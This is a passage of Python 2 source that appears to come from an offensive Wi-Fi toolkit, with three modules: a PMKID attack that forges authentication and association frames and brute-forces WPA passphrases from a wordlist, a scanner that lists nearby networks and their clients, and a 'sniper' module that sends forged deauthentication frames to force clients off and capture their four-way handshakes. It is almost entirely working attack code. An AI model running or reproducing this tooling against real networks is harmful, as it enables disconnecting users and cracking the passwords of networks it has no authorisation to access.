self.ap.replace(':', '').upper(), self.pull.BLUE, self.pull.END)) 151 | sendp(self.auth, iface=self.iface, count=2, verbose=False) 152 | if not self.__AUTH_STATUS: 153 | break 154 | time.sleep(1) 155 | 156 | return self.__AUTH_STEP 157 | 158 | def asso_sniffer(self, iface): 159 | try: 160 | self.__ASSO_STATUS = True 161 | sniff(iface=iface, prn=self.get_asso_resp) 162 | except Exception, e: 163 | if not e == "EAPOL": 164 | sys.exit(e) 165 | finally: 166 | self.__ASSO_STATUS = False 167 | 168 | def get_asso_resp(self, pkt): 169 | if pkt.haslayer(Dot11AssoResp): 170 | if pkt.getlayer(Dot11AssoResp).status == 0: 171 | sn = pkt.getlayer(Dot11).addr2.replace(':', '') 172 | rc = pkt.getlayer(Dot11).addr1.replace(':', '') 173 | if rc == self.cl.replace(':', '') and sn == self.ap.replace(':', ''): 174 | if self.verbose: 175 | self.pull.info("Received %s (%s) %s<%s %s (%s) %s[Association Response]%s" % \ 176 | (self.cl.replace(':', '').upper(), self.pull.DARKCYAN+org(self.cl).org+self.pull.END, self.pull.RED, self.pull.END, self.ap.replace(':', '').upper(),\ 177 | self.pull.DARKCYAN+org(self.ap).org+self.pull.END, self.pull.YELLOW, self.pull.END)) 178 | else: 179 | self.pull.info("Received %s %s<%s %s %s[Association Response]%s" % (self.cl.replace(':', '').upper(), self.pull.RED, self.pull.END,\ 180 | self.ap.replace(':', '').upper(), self.pull.YELLOW, self.pull.END)) 181 | 182 | if not self.__M_PLACED: 183 | if self.verbose: 184 | self.pull.info("Authentication %s (%s) %s>%s %s (%s) %s[SuccessFull]%s" % \ 185 | (self.ap.replace(':', '').upper(), self.pull.DARKCYAN+org(self.ap).org+self.pull.END, self.pull.RED, self.pull.END, self.cl.replace(':', '').upper(),\ 186 | self.pull.DARKCYAN+org(self.cl).org+self.pull.END, self.pull.GREEN, self.pull.END)) 187 | self.pull.info("EAPOL %s (%s) %s>%s %s (%s) %s[Waiting...]%s" % \ 188 | (self.ap.replace(':', '').upper(), self.pull.DARKCYAN+org(self.ap).org+self.pull.END, self.pull.RED, self.pull.END, self.cl.replace(':', '').upper(),\ 189 | self.pull.DARKCYAN+org(self.cl).org+self.pull.END, self.pull.PURPLE, self.pull.END)) 190 | else: 191 | self.pull.info("Authentication %s %s>%s %s %s[SuccessFull]%s" % \ 192 | (self.ap.replace(':', '').upper(), self.pull.RED, self.pull.END, self.cl.replace(':', '').upper(),\ 193 | self.pull.GREEN, self.pull.END)) 194 | self.pull.info("EAPOL %s %s>%s %s %s[Waiting...]%s" % \ 195 | (self.ap.replace(':', '').upper(), self.pull.RED, self.pull.END, self.cl.replace(':', '').upper(),\ 196 | self.pull.PURPLE, self.pull.END)) 197 | self.__M_PLACED = bool(1) 198 | 199 | if pkt.haslayer(EAPOL): 200 | sn = pkt.getlayer(Dot11).addr2.replace(':', '') 201 | nonce = binascii.hexlify(pkt.getlayer(Raw).load)[26:90] 202 | mic = binascii.hexlify(pkt.getlayer(Raw).load)[154:186] 203 | fNONCE = "0000000000000000000000000000000000000000000000000000000000000000" 204 | fMIC = "00000000000000000000000000000000" 205 | if sn == self.ap.replace(':', '') and nonce != fNONCE and mic == fMIC: 206 | self.__ASSO_STEP = True 207 | if self.verbose: 208 | self.pull.info("EAPOL %s (%s) %s>%s %s (%s) %s[Initiated]%s" % (self.ap.replace(':', '').upper(), self.pull.DARKCYAN+org(self.ap).org+self.pull.END , self.pull.RED, self.pull.END,\ 209 | self.cl.replace(':', '').upper(), \ 210 | self.pull.DARKCYAN+org(self.cl).org+self.pull.END, self.pull.YELLOW, self.pull.END)) 211 | self.pull.up("EAPOL %s (%s) %s>%s %s (%s) %s[1 of 4]%s" % (self.ap.replace(':', '').upper(), self.pull.DARKCYAN+org(self.ap).org+self.pull.END,\ 212 | self.pull.RED, self.pull.END, self.cl.replace(':', '').upper(),\ 213 | self.pull.DARKCYAN+org(self.cl).org+self.pull.END, self.pull.GREEN, self.pull.END) ) 214 | else: 215 | self.pull.info("EAPOL %s %s>%s %s %s[Initiated]%s" % (self.ap.replace(':', '').upper(), self.pull.RED, self.pull.END, self.cl.replace(':', '').upper(), \ 216 | self.pull.YELLOW, self.pull.END)) 217 | self.pull.up("EAPOL %s %s>%s %s %s[1 of 4]%s" % (self.ap.replace(':', '').upper(), self.pull.RED, self.pull.END, self.cl.replace(':', '').upper(),\ 218 | self.pull.BOLD+self.pull.GREEN, self.pull.END) ) 219 | self.__EAPOL = pkt 220 | raise ValueError("EAPOL") 221 | 222 | def asso_conn(self): 223 | if not self.__ASSO_STATUS: 224 | asso_catcher = threading.Thread(target=self.asso_sniffer, args=(self.iface,), name="Association Depender") 225 | asso_catcher.daemon = True 226 | asso_catcher.start() 227 | 228 | _retry = 0 229 | 230 | while not self.__ASSO_STEP: 231 | self._randn_(4) 232 | 233 | if self.verbose: 234 | self.pull.up("%i Frames %s (%s) %s>%s %s (%s) %s[Association Request]%s" % \ 235 | (self._randn, self.cl.replace(':', '').upper(), self.pull.DARKCYAN+org(self.cl).org+self.pull.END, self.pull.RED, self.pull.END,\ 236 | self.ap.replace(':', '').upper(), self.pull.DARKCYAN+org(self.ap).org+self.pull.END, self.pull.BLUE, self.pull.END)) 237 | else: 238 | self.pull.up("%i Frames %s %s>%s %s %s[Association Request]%s" % (self._randn, self.cl.replace(':', '').upper(), self.pull.RED, self.pull.END,\ 239 | self.ap.replace(':', '').upper(), self.pull.BLUE, self.pull.END)) 240 | 241 | sendp(self.asso, iface=self.iface, count=1, verbose=False) 242 | time.sleep(2); _retry += 1 243 | if _retry >= self.retry_limit: 244 | self.pull.right("Maximum Limit Reached for Association Requests.") 245 | self.pull.info("Sleeping! Would restart the process in 30 seconds. ") 246 | time.sleep(30) 247 | break 248 | 249 | return self.__ASSO_STEP 250 | 251 | def comp_mac_passes(self, mac): 252 | list__ = list() 253 | list__.append(mac.replace(':', '').lower()[:8]) 254 | list__.append(mac.replace(':', '').upper()[:8]) 255 | list__.append(mac.replace(':', '').lower()[4:]) 256 | list__.append(mac.replace(':', '').upper()[4:]) 257 | if re.search(r"[0-9]$", mac.replace(':', '').lower()[:8], re.I): 258 | for n in range(0, 10): 259 | if n != int(re.search(r"[0-9]$", mac.replace(':', '').lower()[:8], re.I).group()): 260 | list__.append(mac.replace(':', '').lower()[:8][:-1] + str(n)) 261 | list__.append(mac.replace(':', '').upper()[:8][:-1] + str(n)) 262 | if re.search(r"[0-9]$", mac.replace(':', '').lower()[4:], re.I): 263 | for n in range(0, 10): 264 | if n != int(re.search(r"[0-9]$", mac.replace(':', '').lower()[4:], re.I).group()): 265 | list__.append(mac.replace(':', '').lower()[4:][:-1] + str(n)) 266 | list__.append(mac.replace(':', '').upper()[4:][:-1] + str(n)) 267 | return list__ 268 | 269 | def printing_pass(self, p_pass, c_pass): 270 | len_A, len_B = len(p_pass), len(c_pass) 271 | if len_A != 0: 272 | if len_A > len_B: 273 | return c_pass + ( " "*(len_A - len_B) ) 274 | else: 275 | return c_pass 276 | else: 277 | return c_pass 278 | 279 | def save(self, _write, PMKID): 280 | if bool(_write): 281 | _file = open(_write, 'w') 282 | _file.write( str(PMKID) +"*"+ str(self.ap.replace(':', '')).lower() +"*"+ str(self.cl.replace(':', '')).lower() +"*"+ str(binascii.hexlify(self.essid)) +"\n" ) 283 | _file.close() 284 | self.pull.use('PMKID -> %s[%s]%s %s[Saved]%s' % (self.pull.RED, _write, self.pull.END, self.pull.GREEN, self.pull.END)) 285 | else: 286 | self.pull.error("PMKID not saved. Provide -w, --write option to save the capture. ") 287 | 288 | def crack(self, _write): 289 | fPMKID = '00000000000000000000000000000000' 290 | PMKID = binascii.hexlify(self.__EAPOL.getlayer(Raw).load)[202:234] 291 | if PMKID != fPMKID and PMKID != '': 292 | self.pull.special("Vulnerable to PMKID Attack!") 293 | if self.verbose: 294 | self.pull.up("PMKID %s (%s) [%s]" % (self.ap.replace(':', '').upper(), self.pull.DARKCYAN+org(self.ap).org+self.pull.END, self.pull.RED+PMKID+self.pull.END)) 295 | else: 296 | self.pull.up("PMKID %s [%s]" % (self.ap.replace(':', '').upper(), self.pull.RED+PMKID+self.pull.END)) 297 | 298 | self.save(_write, PMKID) 299 | 300 | _pmk = self.crack_the_pmk(PMKID) 301 | return _pmk 302 | else: 303 | self.pull.error("The target AP doesn't contain PMKID field. Not Vulnerable. Try with handshake. ") 304 | sys.exit(0) 305 | 306 | def crack_the_pmk(self, _hash): 307 | if type(self.passwords) == str: 308 | _pass_list = self.passwords.split(',') 309 | else: 310 | _file = open(self.dict, 'r') 311 | _pass_list = self.d_passes+_file.read().splitlines() 312 | _file.close() 313 | 314 | _last_pass = '' 315 | 316 | for _pass in _pass_list: 317 | self.pull.up("Currently Checking: %s%s%s" % (self.pull.BOLD, self.printing_pass(_last_pass, _pass.rstrip('\n')), self.pull.END)) 318 | _last_pass = _pass.rstrip('\n') 319 | _pmk = PBKDF2(_pass, self.essid, 4096).read(32) 320 | _ap = binascii.a2b_hex(self.ap.replace(':', '').lower()) 321 | _cl = binascii.a2b_hex(self.cl.replace(':', '').lower()) 322 | _pmk_fs = "PMK Name" 323 | _hash_ = hmac.new(_pmk, _pmk_fs+_ap+_cl, hashlib.sha1).hexdigest()[:32] 324 | if _hash == _hash_: 325 | return (_pass, self.hexdump(_pmk), self.hexdump(_hash_)) 326 | else: 327 | if _pass != _pass_list[-1]: 328 | self.pull.lineup() 329 | 330 | return (None, '', '') 331 | 332 | def _randn_(self, _max): 333 | if self._nframes == 0: 334 | self._randn = org().randomness(_max, self._randn) 335 | else: 336 | self._randn = self._nframes 337 | return 338 | -------------------------------------------------------------------------------- /wireless/shifter.py: -------------------------------------------------------------------------------- 1 | # Shifter.py 2 | 3 | from scapy.layers.dot11 import Dot11Beacon 4 | from scapy.layers.dot11 import Dot11 5 | from scapy.layers.dot11 import Dot11Elt 6 | from scapy.layers.dot11 import RadioTap 7 | from scapy.sendrecv import sniff 8 | from scapy.config import conf 9 | from scapy.utils import PcapWriter 10 | from scapy.utils import rdpcap 11 | from utils import org 12 | import re 13 | try: 14 | from scapy.layers.dot11 import EAPOL 15 | except ImportError: 16 | from scapy.layers.eap import EAPOL 17 | 18 | class Shifter: 19 | 20 | bss_counter = [] 21 | clients = [] 22 | cells = [] 23 | p_BEACON = 0 24 | __ALSA_CLIENTS = {} 25 | __BLACKLIST = ('ffffffffffff') 26 | 27 | def __init__(self, iface, bss, ess, verbose): 28 | self.iface = iface 29 | conf.iface = self.iface 30 | self.ess = ess 31 | self.bss = bss 32 | self.verbose = verbose 33 | 34 | def check_cipher_48(self, layer): 35 | compound = layer.info 36 | u_cipher = '' 37 | p_cipher = '' 38 | psk = '' 39 | comp_sections = compound.split('\x00\x00')[1:] 40 | u_ciphers = {'\x0f\xac\x00': 'GROUP', 41 | '\x0f\xac\x01': 'WEP', 42 | '\x0f\xac\x02': 'TKIP', 43 | '\x0f\xac\x04': 'CCMP', 44 | '\x0f\xac\x05': 'WEP'} 45 | p_ciphers = {'\x0f\xac\x00': 'GROUP', 46 | '\x0f\xac\x01': 'WEP', 47 | '\x0f\xac\x02\x00\x0f\xac\x04': 'TKIP/CCMP', 48 | '\x0f\xac\x04\x00\x0f\xac\x02': 'CCMP/TKIP', 49 | '\x0f\xac\x02': 'TKIP', 50 | '\x0f\xac\x04': 'CCMP', 51 | '\x0f\xac\x05': 'WEP'} 52 | psk_keys = {'\x0f\xac\x01': 'MGT', 53 | '\x0f\xac\x02': 'PSK'} 54 | for key, value in u_ciphers.items(): 55 | if comp_sections[0].startswith(key): 56 | u_cipher = value 57 | for key, value in p_ciphers.items(): 58 | if comp_sections[1].startswith(key): 59 | p_cipher = value 60 | for key, value in psk_keys.items(): 61 | if comp_sections[2].startswith(key): 62 | psk = value 63 | return [u_cipher, psk] 64 | 65 | def check_cipher_221(self, layer): 66 | compound = layer.info 67 | u_cipher = '' 68 | p_cipher = '' 69 | psk = '' 70 | comp_sections = compound.split('\x00\x00')[1:] 71 | u_ciphers = {'P\xf2\x00': 'GROUP', 72 | 'P\xf2\x01': 'WEP', 73 | 'P\xf2\x02': 'TKIP', 74 | 'P\xf2\x04': 'CCMP', 75 | 'P\xf2\x05': 'WEP'} 76 | p_ciphers = {'P\xf2\x00': 'GROUP', 77 | 'P\xf2\x01': 'WEP', 78 | 'P\xf2\x02\x00P\xf2\x04': 'TKIP/CCMP', 79 | 'P\xf2\x04\x00P\xf2\x02': 'CCMP/TKIP', 80 | 'P\xf2\x02': 'TKIP', 81 | 'P\xf2\x04': 'CCMP', 82 | 'P\xf2\x05': 'WEP'} 83 | psk_keys = {'P\xf2\x01': 'MGT', 84 | 'P\xf2\x02': 'PSK'} 85 | for key, value in u_ciphers.items(): 86 | if comp_sections[0].startswith(key): 87 | u_cipher = value 88 | for key, value in p_ciphers.items(): 89 | if comp_sections[1].startswith(key): 90 | p_cipher = value 91 | for key, value in psk_keys.items(): 92 | if comp_sections[2].startswith(key): 93 | psk = value 94 | return [u_cipher, psk] 95 | 96 | def enc_shift(self, cap, ELTLAYERS): 97 | layer_data__ = {'essid': '', 'channel': 0, 'auth': '', 'cipher': '', 'psk': ''} 98 | for dig in range(20): 99 | try: 100 | if ELTLAYERS[dig].ID == 0: 101 | layer_data__['essid'] = ELTLAYERS[dig].info # ESSID 102 | elif ELTLAYERS[dig].ID == 3 and ELTLAYERS[dig].len == 1: 103 | layer_data__['channel'] = ord(ELTLAYERS[dig].info) # Channel 104 | elif ELTLAYERS[dig].ID == 48: # Encryption 105 | layer_data__['auth'] = 'WPA2' 106 | cipher, psk = self.check_cipher_48( ELTLAYERS[dig]) 107 | layer_data__['cipher'], layer_data__['psk'] = cipher, psk 108 | elif ELTLAYERS[dig].ID == 221 and ELTLAYERS[dig].info.startswith("\x00P\xf2\x01\x01\x00"): 109 | if not layer_data__['auth']: 110 | layer_data__['auth'] = 'WPA' 111 | else: 112 | layer_data__['auth'] += '/WPA' 113 | cipher, psk = self.check_cipher_221( ELTLAYERS[dig] ) 114 | layer_data__['cipher'], layer_data__['psk'] = cipher, psk 115 | else: 116 | pass 117 | except IndexError: 118 | break 119 | if not layer_data__['auth']: 120 | if 'privacy' in cap: 121 | layer_data__['auth'] = 'WEP' 122 | else: 123 | layer_data__['auth'] = 'OPEN' 124 | return layer_data__ 125 | 126 | def dBM_sig(self, pkt): 127 | if pkt.haslayer(RadioTap): 128 | extra = pkt.notdecoded 129 | dbm_sig = '?' 130 | for p in extra: 131 | if -(256-ord(p)) > -90 and -(256-ord(p)) < -20: 132 | dbm_sig = -(256-ord(p)) 133 | break 134 | return dbm_sig 135 | 136 | def filtertify(self, bssid, __data): 137 | if self.bss != None and self.ess != None: 138 | if self.bss == bssid and self.ess == __data['essid']: 139 | return bool(1) 140 | return bool(0) 141 | elif self.bss != None: 142 | if self.bss == bssid: 143 | return bool(1) 144 | return bol(0) 145 | elif self.ess != None: 146 | if self.ess == __data['essid']: 147 | return bool(1) 148 | return bool(0) 149 | else: 150 | return bool(1) 151 | 152 | def clients_garbage(self, pkt): 153 | if pkt.haslayer(Dot11) and pkt.getlayer(Dot11).type == 2L and not pkt.haslayer(EAPOL): 154 | _sn = pkt.getlayer(Dot11).addr2 155 | _rc = pkt.getlayer(Dot11).addr1 156 | 157 | _tgt = None 158 | 159 | if _sn in self.bss_counter: 160 | _tgt, _ap = _rc, _sn 161 | elif _rc in self.bss_counter: 162 | _tgt, _ap = _sn, _rc 163 | 164 | if _tgt and _tgt not in self.clients: 165 | for cell in self.cells: 166 | for _key, _val in cell.items(): 167 | if _key == 'bssid' and _val == _ap: 168 | if not (_tgt.replace(':','').lower() in self.__BLACKLIST): 169 | cell['clients'] += 1; self.clients.append(_tgt) 170 | self.__ALSA_CLIENTS[_val].append( (_tgt, self.dBM_sig(pkt)) ) 171 | 172 | def beac_shift(self, pkt): 173 | if pkt.haslayer(Dot11Beacon): 174 | bssid = pkt.getlayer(Dot11).addr2 175 | cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}").split('+') 176 | ELTLAYERS = pkt.getlayer(Dot11Elt) 177 | if bssid not in self.bss_counter: 178 | self.bss_counter.append(bssid) 179 | layer_data__ = self.enc_shift(cap, ELTLAYERS) 180 | s_or_n = self.filtertify(bssid.lower(), layer_data__) 181 | if s_or_n: 182 | self.cells.append({'essid': unicode(layer_data__['essid']), 'bssid': unicode(bssid), 'channel': unicode(layer_data__['channel']), 'auth': unicode(layer_data__['auth']), \ 183 | 'cipher': unicode(layer_data__['cipher']), 'psk': unicode(layer_data__['psk']), 'pwr': self.dBM_sig(pkt), 'beacon': pkt, 'vendor': unicode(org(bssid).org), 'clients': 0}) 184 | self.__ALSA_CLIENTS[bssid] = [] 185 | else: 186 | for ap in self.cells: 187 | if ap['bssid'] == bssid: 188 | ap['pwr'] = self.dBM_sig(pkt) 189 | 190 | 191 | def ssid_shift(self, pkt): 192 | self.beac_shift(pkt) 193 | self.clients_garbage(pkt) 194 | 195 | def results(self): 196 | return self.cells 197 | 198 | def run(self): 199 | try: 200 | pkts = sniff(iface=self.iface, prn=self.ssid_shift) 201 | except Exception: 202 | pass 203 | 204 | -------------------------------------------------------------------------------- /wireless/sniper.py: -------------------------------------------------------------------------------- 1 | 2 | from scapy.sendrecv import sniff 3 | from scapy.sendrecv import sendp 4 | from scapy.config import conf 5 | from scapy.layers.dot11 import Dot11 6 | from scapy.layers.dot11 import RadioTap 7 | from scapy.layers.dot11 import Raw 8 | from scapy.layers.dot11 import Dot11Deauth 9 | from utils import org 10 | import signal 11 | import sys 12 | import time 13 | import threading 14 | import exceptions 15 | import binascii 16 | import os 17 | try: 18 | from scapy.layers.dot11 import EAPOL 19 | except ImportError: 20 | from scapy.layers.eap import EAPOL 21 | 22 | class Sniper: 23 | 24 | __SNIFFER_STATUS = False 25 | __CONNECTECD_CL = {} 26 | __CL_COUNTER = {} 27 | __c_HANDSHAKE = [0, 0, 0, 0] 28 | __c_TGT = '' 29 | out__ = ['333300000016', '3333ff9ddffd', 'ffffffffffff', '01005e7ffffa', '333300000001', '01005e0000fb'] 30 | 31 | def __init__(self, iface_instance, bssid, essid, channel, timeout, pully, verbose): 32 | self.iface_instance = iface_instance 33 | self.iface = self.iface_instance.iface 34 | self.bssid = bssid 35 | self.essid = essid 36 | self.ch = channel 37 | self.timeout = timeout 38 | self.pull = pully 39 | self.verbose = verbose 40 | #self.channel_shifter = self.channel_shifter(self.ch) 41 | 42 | def __str__(self): 43 | return self.essid 44 | 45 | def channel_shifter(self, ch): 46 | self.iface_instance.stop_hopper = 1 47 | while not self.iface_instance._interface__STATUS_END: 48 | time.sleep(1) 49 | self.iface_instance.shift_channel(ch) 50 | 51 | def cl_generator(self): 52 | try: 53 | sniff(iface=self.iface, prn=self.cl_generator_replay) 54 | raise KeyboardInterrupt 55 | except KeyboardInterrupt: 56 | if self.verbose: 57 | self.pull.use("Clients %s (%s) - %s[Found %s]%s" % (self.bssid.replace(':', '').upper(), self.pull.DARKCYAN+org(self.bssid).org+self.pull.END,\ 58 | self.pull.GREEN, len(self.__CONNECTECD_CL), self.pull.END)) 59 | else: 60 | self.pull.use("Clients %s - [Found %s]" % (self.bssid.replace(':', '').upper(), len(self.__CONNECTECD_CL))) 61 | 62 | def cl_generator_replay(self, pkt): 63 | if pkt.haslayer(Dot11) and pkt.getlayer(Dot11).type == 2L and not pkt.haslayer(EAPOL): 64 | __sn = pkt.getlayer(Dot11).addr2 65 | __rc = pkt.getlayer(Dot11).addr1 66 | if __sn == self.bssid and not (__sn.replace(':', '').lower() in self.out__): 67 | try: 68 | if self.__CL_COUNTER[__rc] > 1: 69 | self.__CONNECTECD_CL[__rc] = self.dbM(pkt) 70 | else: 71 | self.__CL_COUNTER[__rc] += 1 72 | except KeyError: 73 | self.__CL_COUNTER[__rc] = 1 74 | if self.verbose: 75 | self.pull.info("Station %s (%s) %s<>%s %s (%s) %s[Data Frame]%s" % (__rc.replace(':', '').upper(), \ 76 | self.pull.DARKCYAN+org(__rc).org+self.pull.END, self.pull.RED, self.pull.END, \ 77 | __sn.replace(':', '').upper(), self.pull.DARKCYAN+org(__sn).org+self.pull.END, self.pull.YELLOW, self.pull.END)) 78 | else: 79 | self.pull.info("Station %s %s<>%s %s %s[Data Frame]%s" % (__rc.replace(':', '').upper(), self.pull.RED, self.pull.END, \ 80 | __sn.replace(':', '').upper(), self.pull.YELLOW, self.pull.END)) 81 | elif __rc == self.bssid and not (__rc.replace(':', '').lower() in self.out__): 82 | try: 83 | if self.__CL_COUNTER[__sn] > 1: 84 | self.__CONNECTECD_CL[__sn] = self.dbM(pkt) 85 | else: 86 | self.__CL_COUNTER[__sn] += 1 87 | except KeyError: 88 | self.__CL_COUNTER[__sn] = 1 89 | if self.verbose: 90 | self.pull.info("Station %s (%s) %s<>%s %s (%s) %s[Data Frame]%s" % (__rc.replace(':', '').upper(), \ 91 | self.pull.DARKCYAN+org(__rc).org+self.pull.END, self.pull.RED, self.pull.END, \ 92 | __sn.replace(':', '').upper(), self.pull.DARKCYAN+org(__sn).org+self.pull.END, self.pull.YELLOW, self.pull.END)) 93 | else: 94 | self.pull.info("Station %s %s<>%s %s %s[Data Frame]%s" % (__rc.replace(':', '').upper(), self.pull.RED, self.pull.END, \ 95 | __sn.replace(':', '').upper(), self.pull.YELLOW, self.pull.END)) 96 | 97 | def clients(self): 98 | pwr__ = [] 99 | LIT__ = {self.bssid: []} 100 | for cl, pwr in self.__CONNECTECD_CL.items(): 101 | pwr__.append(pwr) 102 | pwr__ = sorted(pwr__, reverse=True) 103 | for pwr in pwr__: 104 | for tuple_ in self.__CONNECTECD_CL.items(): 105 | if tuple_[1] == pwr: 106 | if not tuple_[0].startswith('33:33:') or not tuple_[0].startswith('ff:ff:'): 107 | LIT__[self.bssid].append(tuple_) 108 | return LIT__ 109 | 110 | def dbM(self, pkt): 111 | if pkt.haslayer(RadioTap): 112 | extra = pkt.notdecoded 113 | dbm_sig = -999 114 | for p in extra: 115 | if -(256-ord(p)) > -90 and -(256-ord(p)) < -20: 116 | dbm_sig = -(256-ord(p)) 117 | break 118 | return dbm_sig 119 | 120 | def verify_handshake(self, tgt): 121 | if 0 not in self.__c_HANDSHAKE: 122 | if len(self.__c_HANDSHAKE): 123 | return 1 124 | else: 125 | return 0 126 | 127 | def start_eapol_sniffer(self): 128 | try: 129 | self.__SNIFFER_STATUS = not bool(0) 130 | sniff(iface=self.iface, prn=self.eapol_sniffer_replay) 131 | except ValueError: 132 | pass 133 | 134 | def eapol_sniffer_replay(self, pkt): 135 | fNONCE = "0000000000000000000000000000000000000000000000000000000000000000" 136 | fMIC = "00000000000000000000000000000000" 137 | 138 | if pkt.haslayer(EAPOL): 139 | __sn = pkt[Dot11].addr2 140 | __rc = pkt[Dot11].addr1 141 | to_DS = pkt.getlayer(Dot11).FCfield & 0x1 !=0 142 | from_DS = pkt.getlayer(Dot11).FCfield & 0x2 !=0 143 | 144 | if __sn == self.bssid: 145 | tgt = __rc 146 | elif __rc == self.bssid: 147 | tgt = __sn 148 | else: 149 | return 150 | 151 | if from_DS == True: 152 | nonce = binascii.hexlify(pkt.getlayer(Raw).load)[26:90] 153 | mic = binascii.hexlify(pkt.getlayer(Raw).load)[154:186] 154 | if __sn == self.bssid and nonce != fNONCE and mic == fMIC: 155 | self.__c_HANDSHAKE[0] = pkt 156 | elif __sn == self.bssid and nonce != fNONCE and mic != fMIC: 157 | self.__c_HANDSHAKE[2] = pkt 158 | elif to_DS == True: 159 | nonce = binascii.hexlify(pkt.getlayer(Raw).load)[26:90] 160 | mic = binascii.hexlify(pkt.getlayer(Raw).load)[154:186] 161 | if __rc == self.bssid and nonce != fNONCE and mic != fMIC: 162 | self.__c_HANDSHAKE[1] = pkt 163 | elif __rc == self.bssid and nonce == fNONCE and mic != fMIC: 164 | self.__c_HANDSHAKE[3] = pkt 165 | return 166 | 167 | def shoot(self, tgt, deauth, _phaz_instance): 168 | self.__c_TGT = tgt 169 | if not self.__SNIFFER_STATUS: 170 | sniffer_thread = threading.Thread(target=self.start_eapol_sniffer) 171 | sniffer_thread.daemon = True 172 | sniffer_thread.start() 173 | 174 | while not self.__SNIFFER_STATUS: 175 | time.sleep(1) 176 | 177 | __pkt_to_cl = RadioTap() / Dot11(addr1=tgt, addr2=self.bssid, addr3=self.bssid) / Dot11Deauth(reason=7) 178 | __pkt_to_ap = RadioTap() / Dot11(addr1=self.bssid, addr2=tgt, addr3=tgt) / Dot11Deauth(reason=7) 179 | 180 | for n in range(deauth * 1): 181 | sendp(__pkt_to_cl, iface=self.iface, count=1, verbose=False) 182 | sendp(__pkt_to_ap, iface=self.iface, count=1, verbose=False) 183 | 184 | if self.verify_handshake(tgt): 185 | _phaz_instance.THEPOL = tuple(self.__c_HANDSHAKE) --------------------------------------------------------------------------------